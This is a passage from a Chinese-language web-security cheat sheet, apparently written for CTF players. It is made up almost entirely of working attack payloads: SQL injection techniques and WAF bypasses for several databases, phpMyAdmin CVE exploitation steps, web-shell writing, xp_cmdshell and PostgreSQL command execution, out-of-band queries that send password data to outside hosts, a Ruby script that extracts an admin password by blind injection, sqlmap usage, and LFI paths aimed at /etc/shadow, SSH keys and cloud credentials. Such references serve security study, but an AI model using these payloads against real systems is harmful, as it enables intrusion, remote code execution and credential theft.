  159. - `id=-1/**/UNION/**/SELECT/**/1,2,3`
  160. - `id=-1%09UNION%0DSELECT%0A1,2,3`
  161. - `id=(-1)UNION(SELECT(1),2,3)`
  162. - 寬字節注入
  163. - `addslashes()`會讓`'`變`\'`
  164. - 在`GBK`編碼中,中文字用兩個Bytes表示
  165. - 其他多字節編碼也可
  166. - 但要低位範圍有包含`0x5c`(`\`)
  167. - 第一個Byte要>128才是中文
  168. - `%df'` => `%df\'` => `'` (成功逃逸)
  169. - Order by注入
  170. - 可以透過`asc`、`desc`簡單判斷
  171. - `?sort=1 asc`
  172. - `?sort=1 desc`
  173. - 後面不能接UNION
  174. - 已知字段名 (可以盲注)
  175. - `?order=IF(1=1, username, password)`
  176. - 利用報錯
  177. - `?order=IF(1=1,1,(select 1 union select 2))` 正確
  178. - `?order=IF(1=2,1,(select 1 union select 2))` 錯誤
  179. - `?order=IF(1=1,1,(select 1 from information_schema.tables))` 正常
  180. - `?order=IF(1=2,1,(select 1 from information_schema.tables))` 錯誤
  181. - Time Based
  182. - `?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` 正常
  183. - `?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))` sleep 2秒
  184. - group by with rollup
  185. - `' or 1=1 group by pwd with rollup limit 1 offset 2#`
  186. - 將字串轉成純數字
  187. - 字串 -> 16進位 -> 10進位
  188. - `conv(hex(YOUR_DATA), 16, 10)`
  189. - 還原:`unhex(conv(DEC_DATA,10,16))`
  190. - 需注意不要Overflow
  191. - 不使用逗號
  192. - `LIMIT N, M` => `LIMIT M OFFSET N`
  193. - `mid(user(), 1, 1)` => `mid(user() from 1 for 1)`
  194. - `UNION SELECT 1,2,3` => `UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)`
  195. - 快速查找帶關鍵字的表
  196. - `select table_schema,table_name,column_name from information_schema.columns where table_schema !=0x696E666F726D6174696F6E5F736368656D61 and table_schema !=0x6D7973716C and table_schema !=0x706572666F726D616E63655F736368656D61 and (column_name like '%pass%' or column_name like '%pwd%');`
  197. - innodb
  198. - 表引擎為innodb
  199. - MySQL > 5.5
  200. - innodb_table_statsinnodb_table_index存放所有庫名表名
  201. - `select table_name from mysql.innodb_table_stats where database_name=資料庫名;`
  202. - Example: [Codegate2018 prequal - simpleCMS](https://github.com/w181496/CTF/tree/master/codegate2018-prequal/simpleCMS)
  203. - Bypass WAF
  204. - `select password` => `SelEcT password` (大小寫)
  205. - `select password` => `select/**/password` (繞空白)
  206. - `select password` => `s%65lect%20password` (URLencode)
  207. - `select password` => `select(password)` (繞空白)
  208. - `select password` => `select%0apassword` (繞空白)
  209. - %09, %0a, %0b, %0c, %0d, %a0
  210. - `select password from admin` => `select password /*!from*/ admin` (MySQL註解)
  211. - `information_schema.schemata` => ``information_schema`.schemata` (繞關鍵字/空白)
  212. - `select xxx from`information_schema`.schemata`
  213. - `select pass from user where id='admin'` => `select pass from user where id=0x61646d696e` (繞引號)
  214. - `id=concat(char(0x61),char(0x64),char(0x6d),char(0x69),char(0x6e))`
  215. - `?id=0e2union select 1,2,3` (科學記號)
  216. - `?id=1union select 1,2,3`會爛
  217. - `?id=0e1union(select~1,2,3)` (~)
  218. - `?id=.1union select 1,2,3` (點)
  219. - `WHERE` => `HAVING` (繞關鍵字)
  220. - `AND` => `&&` (繞關鍵字)
  221. - `OR` => `||`
  222. - `=` => `LIKE`
  223. - `a = 'b'` => `not a > 'b' and not a < 'b'`
  224. - `> 10` => `not between 0 and 10`
  225. - `LIMIT 0,1` => `LIMIT 1 OFFSET 0` (繞逗號)
  226. - `substr('kaibro',1,1)` => `substr('kaibro' from 1 for 1)`
  227. - Multipart/form-data繞過
  228. - [http://xdxd.love/2015/12/18/通过multipart-form-data绕过waf/](http://xdxd.love/2015/12/18/%E9%80%9A%E8%BF%87multipart-form-data%E7%BB%95%E8%BF%87waf/)
  229. - 偽造User-Agent
  230. - e.g. 有些WAF不封google bot
  231. - phpMyAdmin
  232. - 寫文件 getshell
  233. - 條件
  234. - root 權限
  235. - 已知web路徑
  236. - 有寫檔權限
  237. - `select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"`
  238. - general_log getshell
  239. - 條件
  240. - 讀寫權限
  241. - 已知web路徑
  242. - step1. 開啟日誌: `set global general_log = "ON";`
  243. - step2. 指定日誌文件: `set global general_log_file = "/var/www/html/shell.php";`
  244. - step3. 寫入php: `select "<?php phpinfo();?>";`
  245. - slow_query getshell
  246. - step1. 設置日誌路徑: `set GLOBAL slow_query_log_file='/var/www/html/shell.php';`
  247. - step2. 開啟slow_query_log: `set GLOBAL slow_query_log=on;`
  248. - step3. 寫入php: `select '<?php phpinfo();?>' from mysql.db where sleep(10);`
  249. - CVE-2018-19968
  250. - phpMyAdmin versions: 4.8.0 ~ 4.8.3
  251. - LFI to RCE
  252. - 條件
  253. - 能登入後台
  254. - step1. `CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';`
  255. - step2. `/chk_rel.php?fixall_pmadb=1&db=foo`
  256. - step3. `INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';`
  257. - step4. `/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1`
  258. - CVE-2018-12613
  259. - phpMyAdmin versions: 4.8.x
  260. - LFI to RCE
  261. - 條件
  262. - 能登入後台
  263. - Payload
  264. - `index.php?target=db_sql.php%253f/../../../../../../windows/system.ini`
  265. - `index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu`
  266. - 在控制台執行的 sql 語句會被寫入 session
  267. - Session id 可以從 cookie `phpMyAdmin` 得到
  268. - CVE-2016-5734
  269. - phpmyadmin versions:
  270. - 4.0.10.16 之前的4.0.x版本
  271. - 4.4.15.7 之前的 4.4.x版本
  272. - 4.6.3之前的 4.6.x版本
  273. - php version:
  274. - 4.3.0 ~ 5.4.6
  275. - `preg_replace` RCE
  276. - 條件
  277. - 能登入後台
  278. - CVE-2014-8959
  279. - phpMyAdmin version:
  280. - 4.0.1 ~ 4.2.12
  281. - php version:
  282. - < 5.3.4
  283. - 條件
  284. - 能登入後台
  285. - 能截斷
  286. - Payload: `gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00` (需修改token)
  287. - CVE-2013-3238
  288. - versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
  289. - [https://www.exploit-db.com/exploits/25136](https://www.exploit-db.com/exploits/25136)
  290. - CVE-2012-5159
  291. - versions: v3.5.2.2
  292. - server_sync.php Backdoor
  293. - [https://www.exploit-db.com/exploits/21834](https://www.exploit-db.com/exploits/21834)
  294. - CVE-2009-1151
  295. - versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
  296. - config/config.inc.php 命令執行
  297. - [https://www.exploit-db.com/exploits/8921](https://www.exploit-db.com/exploits/8921)
  298. - 弱密碼 / 萬用密碼
  299. - phpmyadmin 2.11.9.2: root/空密碼
  300. - phpmyadmin 2.11.3 / 2.11.4: 用戶名: `'localhost'@'@"`
  301. <a name="MSSQL"></a>
  302. ## MSSQL
  303. - 子字串:
  304. - `SUBSTRING("abc", 1, 1) => 'a'`
  305. - Ascii function
  306. - `ascii('A') => 65`
  307. - Char function
  308. - `char(65) => 'a'`
  309. - Concatenation
  310. - `+`
  311. - `'a'+'b' => 'ab'`
  312. - Delay function
  313. - `WAIT FOR DELAY '0:0:10'`
  314. - 空白字元
  315. - `01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20`
  316. - IF語句
  317. - IF condition true-part ELSE false-part
  318. - `IF (1=1) SELECT 'true' ELSE SELECT 'false'`
  319. - 註解:
  320. - `--`
  321. - `/**/`
  322. - TOP
  323. - MSSQL沒有`LIMIT N, M`的用法
  324. - `SELECT TOP 87 * FROM xxx` 取最前面87筆
  325. - 取第78~87筆
  326. - `SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87`
  327. - 其它:
  328. - user
  329. - db_name()
  330. - user_name()
  331. - @[@version ](/version )
  332. - @[@language ](/language )
  333. - @[@servername ](/servername )
  334. - host_name()
  335. - has_dbaccess('master')
  336. - 查詢用戶
  337. - `select name, loginame from master..syslogins, master..sysprocesses`
  338. - 查用戶密碼
  339. - `select user,password from master.dbo.syslogins`
  340. - 當前角色是否為資料庫管理員
  341. - `SELECT is_srvrolemember('sysadmin')`
  342. - 當前角色是否為db_owner
  343. - `SELECT IS_MEMBER('db_owner')`
  344. - 爆DB name
  345. - `DB_NAME(N)`
  346. - `UNION SELECT NULL,DB_NAME(N),NULL--`
  347. - `UNION SELECT NULL,name,NULL FROM master ..sysdatabases--`
  348. - `SELECT catalog_name FROM information_schema.schemata`
  349. - `1=(select name from master.dbo.sysdatabases where dbid=5)`
  350. - 爆表名
  351. - `SELECT table_catalog, table_name FROM information_schema.tables`
  352. - `SELECT name FROM sysobjects WHERE xtype='U'`
  353. - `ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--`
  354. - 爆column
  355. - `SELECT table_catalog, table_name, column_name FROM information_schema.columns`
  356. - `SELECT name FROM syscolumns WHERE id=object_id('news')`
  357. - `ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--`
  358. - `SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')`
  359. - 一次性獲取全部資料
  360. - `select quotename(name) from master..sysdatabases FOR XML PATH('')`
  361. - `select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto`
  362. - Union Based
  363. - Column型態必須相同
  364. - 可用`NULL`來避免
  365. - Error Based
  366. - 利用型別轉換錯誤
  367. - `id=1 and user=0`
  368. - Out of Band
  369. - `declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')`
  370. - `fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)`
  371. - Requires VIEW SERVER STATE permission on the server
  372. - `fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)`
  373. - Requires the CONTROL SERVER permission.
  374. - `fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)`
  375. - Requires the CONTROL SERVER permission.
  376. - 判斷是否站庫分離
  377. - 客戶端主機名:`select host_name();`
  378. - 服務端主機名:`select @@servername;`
  379. - 兩者不同即站庫分離
  380. - 讀檔
  381. - `select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)`
  382. - xp_cmdshell
  383. - 在MSSQL 2000默認開啟
  384. - MSSQL 2005之後默認關閉
  385. - 有sa權限,可透過sp_configure重啟它

EXEC sp_configure ‘show advanced options’,1 RECONFIGURE EXEC sp_configure ‘xp_cmdshell’,1 RECONFIGURE

  1. - 執行 command
  2. - `exec xp_cmdshell 'whoami'`
  3. - 關閉xp_cmdshell

EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure’xp_cmdshell’, 0; RECONFIGURE;

  1. - 快速查找帶關鍵字的表
  2. - `SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');`
  3. - WAF
  4. - Non-standard whitespace character:
  5. - `1%C2%85union%C2%85select%C2%A0null,@@version,null--`
  6. - 混淆 UNION
  7. - `0eunion+select+null,@@version,null--`
  8. - Unicode繞過
  9. - IIS Unicode 編碼是可以解析的,即 s%u0065lect 會被解析為 select
  10. <a name="Oracle"></a>
  11. ## Oracle
  12. - `SELECT`語句必須包含`FROM`
  13. - 未指定來源,可以用`dual`
  14. - 子字串:
  15. - `SUBSTR('abc', 1, 1) => 'a'`
  16. - 空白字元
  17. - `00 0A 0D 0C 09 20`
  18. - IF語句
  19. - `IF condition THEN true-part [ELSE false-part] END IF`
  20. - 註解:
  21. - `--`
  22. - `/**/`
  23. - 不支援 limit
  24. - 改用 rownum
  25. - `select table_name from (select rownum no, table_name from all_tables) where no=1`
  26. - 單雙引號
  27. - 單引號: string, date
  28. - 雙引號: identifier (table name, column name, ...)
  29. - 其它
  30. - `SYS.DATABASE_NAME`
  31. - current database
  32. - `USER`
  33. - current user
  34. - or `sys.login_user`
  35. - `SELECT role FROM session_roles`
  36. - current role
  37. - `SELECT privilege FROM user_sys_privs`
  38. - system privileges granted to the current user
  39. - `SELECT privilege FROM role_sys_privs`
  40. - privs the current role has
  41. - `SELECT privilege FROM session_privs`
  42. - the all privs that current user has = user_sys_privs + role_sys_privs
  43. - `SELECT banner FROM v$version where rownum=1`
  44. - database version
  45. - `SELECT host_name FROM v$instance;`
  46. - Name of the host machine
  47. - `utl_inaddr.get_host_address`
  48. - 本機IP
  49. - `select utl_inaddr.get_host_name('87.87.87.87') from dual`
  50. - IP反解
  51. - 庫名(schema)
  52. - `SELECT DISTINCT OWNER FROM ALL_TABLES`
  53. - 表名
  54. - `SELECT OWNER, TABLE_NAME FROM ALL_TABLES`
  55. - Column
  56. - `SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS`
  57. - Union Based
  58. - Column型態必須相同
  59. - 可用`NULL`來避免
  60. - `UNION SELECT 1, 'aa', null FROM dual`
  61. - Time Based
  62. - `dbms_pipe.receive_message(('a'),10)`
  63. - `SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`
  64. - Error Based
  65. - `CTXSYS.DRITHSX.SN`
  66. - `SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1`
  67. - `utl_inaddr.get_host_name`
  68. - `and 1=utl_inaddr.get_host_name((SQL in HERE))`
  69. - 版本>=11g,需要超級用戶或授予網路權限的用戶才能用
  70. - `dbms_xdb_version.checkin`
  71. - `and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null`
  72. - `dbms_xdb_version.makeversioned`
  73. - `and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null`
  74. - `dbms_xdb_version.uncheckout`
  75. - `and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null`
  76. - `dbms_utility.sqlid_to_sqlhash`
  77. - `and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null`
  78. - Out of band
  79. - `UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1`
  80. - `SYS.DBMS_LDAP.INIT()`
  81. - `utl_inaddr.get_host_address()`
  82. - `HTTPURITYPE`
  83. - `SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;`
  84. - `extractvalue()` XXE
  85. - `SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual`
  86. - 新版已patch
  87. - users
  88. - `select username from all_users`
  89. - lists all users of the database
  90. - `select name, password from sys.user$`
  91. - `select username,password,account_status from dba_users`
  92. - 特殊用法
  93. - `DBMS_XMLGEN.getXML('select user from dual')`
  94. - `dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')`
  95. - Java code execution
  96. <a name="SQLite"></a>
  97. ## SQLite
  98. - 子字串:
  99. - `substr(“abc",1,1) => 'a'`
  100. - Ascii function:
  101. - `unicode('d') => 100`
  102. - legth
  103. - `length('ab') => 2`
  104. - Concatenation
  105. - `||`
  106. - `'a' || 'b' => 'ab'`
  107. - Time Delay
  108. - `randomblob(100000000)`
  109. - 空白字元
  110. - `0A 0D 0C 09 20`
  111. - Case when
  112. - SQLite沒有`if`
  113. - 可以用`Case When ... Then ...`代替
  114. - `case when (條件) then ... else ... end`
  115. - 註解
  116. - `--`
  117. - 爆表名
  118. - `SELECT name FROM sqlite_master WHERE type='table'`
  119. - 爆表結構(含Column)
  120. - `SELECT sql FROM sqlite_master WHERE type='table'`
  121. - 其他
  122. - `sqlite_version()`
  123. - sqlite無法使用`\'`跳脫單引號
  124. - `[]` 神奇用法
  125. - `CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;`
  126. - CREATE TABLE 後面也能接 SELECT condition
  127. - [zer0pts CTF 2020 - phpNantokaAdmin](https://github.com/w181496/CTF/tree/master/zer0pts2020/phpNantokaAdmin)
  128. - Boolean Based: SECCON 2017 qual SqlSRF
  129. **Click here to view script**
  130. ```ruby
  131. # encoding: UTF-8
  132. # sqlite injection (POST method) (二分搜)
  133. # SECCON sqlsrf爆admin密碼
  134. require 'net/http'
  135. require 'uri'
  136. $url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
  137. $ans = ''
  138. (1..100).each do |i|
  139. l = 48
  140. r = 122
  141. while(l <= r)
  142. #puts "left: #{l}, right: #{r}"
  143. break if l == r
  144. mid = ((l + r) / 2)
  145. $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
  146. res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
  147. if res.body.include? 'document.location'
  148. l = mid + 1
  149. else
  150. r = mid
  151. end
  152. end
  153. $ans += l.chr
  154. puts $ans
  155. end

PostgreSQL

  • 子字串
    • substr("abc", 1, 1) => 'a'
  • Ascii function
    • ascii('x') => 120
  • Char function
    • chr(65) => A
  • Concatenation
    • ||
    • 'a' || 'b' => 'ab'
  • Delay function
    • pg_sleep(5)
    • GENERATE_SERIES(1, 1000000)
    • repeat('a', 10000000)
  • 空白字元
    • 0A 0D 0C 09 20
  • encode / decode
    • encode('123\\000\\001', 'base64') => MTIzAAE=
    • decode('MTIzAAE=', 'base64') => 123\000\001
  • 不支援limit N, M
    • limit a offset b 略過前b筆,抓出a筆出來
  • 註解
    • --
    • /**/
  • 📌Web Cheatsheet - 图1
    • SELECT datname FROM pg_database
  • 爆表名
    • SELECT tablename FROM pg_tables WHERE schemaname='dbname'
  • 爆Column
    • SELECT column_name FROM information_schema.columns WHERE table_name='admin'
  • Dump all
    • array_to_string(array(select userid||':'||password from users),',')
  • 列舉 privilege
    • SELECT * FROM pg_roles;
  • 列舉用戶 hash
    • SELECT usename, passwd FROM pg_shadow
  • RCE
    • CVE-2019–9193
      • 在 9.3 版本實作了 COPY TO/FROM PROGRAM
      • 版本 9.3 ~ 11.2 預設啟用
      • 讓 super user 和任何在 pg_read_server_files 群組的 user 可以執行任意指令
      • 方法
        • DROP TABLE IF EXISTS cmd_exec;
        • CREATE TABLE cmd_exec(cmd_output text);
        • COPY cmd_exec FROM PROGRAM 'id';
        • SELECT * FROM cmd_exec;
    • 版本 8.2 以前
      • CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
      • select system('id');
    • UDF
  • 其它
    • version()
    • current_database()
    • user
      • current_user
      • SELECT usename FROM pg_user;
    • getpgusername()
    • current_schema
    • current_query()
    • inet_server_addr()
    • inet_server_port()
    • inet_client_addr()
    • inet_client_port()
    • type conversion
      • cast(count(*) as text)
    • md5('abc')
    • replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
    • pg_read_file(filename, offset, length)
      • 讀檔
      • 只能讀data_directory下的
    • pg_ls_dir(dirname)
      • 列目錄內容
      • 只能列data_directory下的
    • PHP的pg_query()可以多語句執行
    • lo_import(), lo_get()讀檔
      • select cast(lo_import('/var/lib/postgresql/data/secret') as text) => 18440
      • select cast(lo_get(18440) as text) => secret_here

MS Access

  • 沒有註解
    • 某些情況可以用%00, %16來達到類似效果
  • 沒有 Stacked Queries
  • 沒有 Limit
    • 可以用 TOP, LAST 取代
    • 'UNION SELECT TOP 5 xxx FROM yyy%00
  • 沒有 Sleep, Benchmark, …
  • 支援 Subquery
    • 'AND (SELECT TOP 1 'xxx' FROM table)%00
  • String Concatenation
    • & (%26)
    • + (%2B)
    • 'UNION SELECT 'aa' %2b 'bb' FROM table%00
  • Ascii Function
    • ASC()
    • 'UNION SELECT ASC('A') FROM table%00
  • IF THEN
    • IFF(condition, true, false)
    • 'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
  • https://insomniasec.com/cdn-assets/Access-Through-Access.pdf

ORM injection

https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications

  • Hibernate
    • 單引號跳脫法
      • MySQL中,單引號用\'跳脫
      • HQL中,用兩個單引號''跳脫
      • 'abc\''or 1=(SELECT 1)--'
        • 在HQL是一個字串
        • 在MySQL是字串+額外SQL語句
    • Magic Function法
      • PostgreSQL中內建query_to_xml('Arbitary SQL')
      • Oracle中有dbms_xmlgen.getxml('SQL')

HQL injection example (pwn2win 2017)

  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
    • Output: ERROR: could not stat file "flag": No such file or directory
  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
    • Output: ERROR: could not stat file "secret": No such file or directory
  • order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
    • Output: ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory

SQL Injection with MD5

  • $sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
  • ffifdyop
    • md5: 276f722736c95d99e921722cf9ed621c
    • to string: 'or'6<trash>

HTTP Parameter Pollution

  • id=1&id=2&id=3
    • ASP.NET + IIS: id=1,2,3
    • ASP + IIS: id=1,2,3
    • PHP + Apache: id=3

SQLmap

  • https://github.com/sqlmapproject/sqlmap/wiki/Usage
  • Usage
    • python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
      • 庫名: --dbs
      • 表名: -D dbname --tables
      • column: -D dbname -T tbname --columns
      • dump: -D dbname -T tbname --dump
        • --start=1
        • --stop=5566
      • DBA? --is-dba
      • 爆帳密: --passwords
      • 看權限: --privileges
      • 拿shell: --os-shell
      • interative SQL: --sql-shell
      • 讀檔: --file-read=/etc/passwd
      • Delay時間: --time-sec=10
      • User-Agent: --random-agent
      • Thread: --threads=10
      • Level: --level=3
        • default: 1
      • --technique
        • default: BEUSTQ
      • Cookie: --cookie="abc=55667788"
      • Tor: --tor --check-tor --tor-type=SOCKS5 --tor-port=9050

LFI

Testing Payload

Linux / Unix

  • Common Payload
    • ./index.php
    • ././index.php
    • .//index.php
    • ../../../../../../etc/passwd
    • ../../../../../../etc/passwd%00
      • 僅在5.3.0以下可用
      • magic_quotes_gpc需為OFF
    • ....//....//....//....//etc/passwd
    • %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
    • %252e/%252e/etc/passwd
    • NN/NN/NN/etc/passwd
    • .+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
    • static\..\..\..\..\..\..\..\..\etc\passwd
  • Config
    • /usr/local/apache2/conf/httpd.conf
    • /usr/local/etc/apache2/httpd.conf
    • /usr/local/nginx/conf/nginx.conf
    • /etc/apache2/sites-available/000-default.conf
    • /etc/apache2/apache2.conf
    • /etc/apache2/httpd.conf
    • /etc/httpd/conf/httpd.conf
    • /etc/nginx/conf.d/default.conf
    • /etc/nginx/nginx.conf
    • /etc/nginx/sites-enabled/default
    • /etc/nginx/sites-enabled/default.conf
    • /etc/mysql/my.cnf
    • /etc/resolv.conf
    • /etc/named.conf
    • /etc/rsyslog.conf
    • /etc/samba/smb.conf
    • /etc/openldap/slapd.conf
    • /etc/mongod.conf
    • /etc/krb5.conf
    • ~/.tmux.conf
    • ~/.mongorc.js
    • $TOMCAT_HOME/conf/tomcat-users.xml
    • $TOMCAT_HOME/conf/server.xml
  • Log
    • /var/log/apache2/error.log
    • /var/log/httpd/access_log
    • /var/log/mail.log
    • /var/log/auth.log
    • /var/log/messages
    • /var/log/secure
    • /var/log/sshd.log
    • /var/log/mysqld.log
    • /var/log/mongodb/mongod.log
    • .pm2/pm2.log
    • $TOMCAT_HOME/logs/catalina.out
  • History
    • .history
    • .bash_history
    • .sh_history
    • .zsh_history
    • .viminfo
    • .php_history
    • .mysql_history
    • .dbshell
    • .histfile
    • .node_repl_history
    • .python_history
    • .scapy_history
    • .sqlite_history
    • .psql_history
    • .rediscli_history
    • .coffee_history
    • .lesshst
    • .wget-hsts
    • .config/fish/fish_history
    • .local/share/fish/fish_history
    • .ipython/profile_default/history.sqlite
  • 其他
    • /proc/self/cmdline
    • /proc/self/fd/[0-9]*
    • /proc/self/environ
    • /proc/net/fib_trie
    • /proc/mounts
    • /proc/net/arp
    • /proc/net/tcp
    • /proc/sched_debug
    • .htaccess
    • ~/.bashrc
    • ~/.bash_profile
    • ~/.bash_logout
    • ~/.zshrc
    • ~/.aws/config
    • ~/.aws/credentials
    • ~/.boto
    • ~/.s3cfg
    • ~/.gitconfig
    • ~/.config/git/config
    • ~/.git-credentials
    • ~/.env
    • /etc/passwd
    • /etc/shadow
    • /etc/hosts
    • /etc/rc.d/rc.local
    • /etc/boto.cfg
    • /root/.ssh/id_rsa
    • /root/.ssh/authorized_keys
    • /root/.ssh/known_hosts
    • /root/.ssh/config
    • /etc/sysconfig/network-scripts/ifcfg-eth0
    • /etc/exports
    • /etc/crontab
    • /var/spool/cron/root
    • /var/spool/cron/crontabs/root
    • /var/mail/<username>

Windows

  • C:/Windows/win.ini
  • C:/boot.ini
  • C:/apache/logs/access.log
  • ../../../../../../../../../boot.ini/.......................
  • C:\Windows\System32\drivers\etc\hosts
  • C:\WINDOWS\System32\Config\SAM
  • C:/WINDOWS/repair/sam
  • C:/WINDOWS/repair/system
  • %SYSTEMROOT%\System32\config\RegBack\SAM
  • %SYSTEMROOT%\System32\config\RegBack\system
  • %WINDIR%\system32\config\AppEvent.Evt
  • %WINDIR%\system32\config\SecEvent.Evt
  • %WINDIR%\iis[version].log
  • %WINDIR%\debug\NetSetup.log
  • %SYSTEMDRIVE%\autoexec.bat
  • C:\Documents and Settings\All Users\Application Data\Git\config
  • C:\ProgramData\Git\config
  • $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
  • C:\inetpub\temp\appPools\DefaultAppPool\DefaultAppPool.config
  • C:\Windows\System32\inetsrv\config\ApplicationHost.config
  • C:\WINDOWS\debug\NetSetup.log
  • C:\WINDOWS\pfro.log

環境變數

  • ../../../../proc/self/environ
    • HTTP_User_Agent塞php script

php://filter

  • php://filter/convert.base64-encode/resource=index.php
  • php://filter/convert.base64-decode/resource=index.php
  • php://filter/read=string.rot13/resource=index.php
  • php://filter/zlib.deflate/resource=index.php
  • php://filter/zlib.inflate/resource=index.php
  • php://filter/convert.quoted-printable-encode/resource=index.php
  • php://filter/read=string.strip_tags/resource=php://input
  • php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
  • php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php

php://input

  • ?page=php://input
    • post data: <?php system("net user"); ?>
    • 需要有開啟url_allow_include,5.4.0直接廢除

phpinfo

  • 對server以form-data上傳文件,會產生tmp檔
  • 利用phpinfo得到tmp檔路徑和名稱
  • LFI Get shell
  • 限制
    • Ubuntu 17後,預設開啟PrivateTmp,無法利用

php session

  • Session一般存在sess_{PHPSESSID}
  • 可以透過修改Cookie再LFI拿shell
  • 以下為常見存放路徑
    • /var/tmp/
    • /tmp/
    • /var/lib/php5/
    • /var/lib/php/
    • C:\windows\temp\sess_
      • windows
  • session.upload_progress
    • PHP預設開啟
    • 用來監控上傳檔案進度
    • session.upload_progress.enabled開啟,可以POST在$_SESSION中添加資料 (sess_{PHPSESSID})
    • 配合LFI可以getshell
    • session.upload_progress.cleanup=on時,可以透過Race condition
    • 上傳zip
      • 開頭會有upload_progress_,結尾也有多餘資料,導致上傳zip正常狀況無法解析
      • 利用zip格式鬆散特性,刪除前16 bytes或是手動修正EOCD和CDH的offset後上傳,可以讓php正常解析zip
    • Example

data://

  • 條件
    • allow_url_fopen: On
    • allow_url_include: On
  • 用法
    • ?file=data://text/plain,<?php phpinfo()?>
    • ?file=data:text/plain,<?php phpinfo()?>
    • ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip / phar

  • 適用驗證副檔名時
  • zip
  • phar

      1. <?php
      2. $p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP);
      3. $x = file_get_contents('./a.php');
      4. $p->addFromString('b.jpg', $x);
      5. ?>
    • 構造 ?file=phar://phartest.zip/b.jpg

SSI (Server Side Includes)

上傳漏洞

Javascript檢測

  • Burp Suite 中間修改
  • disable javascript

Bypass MIME Detection

  • Burp修改Content-Type

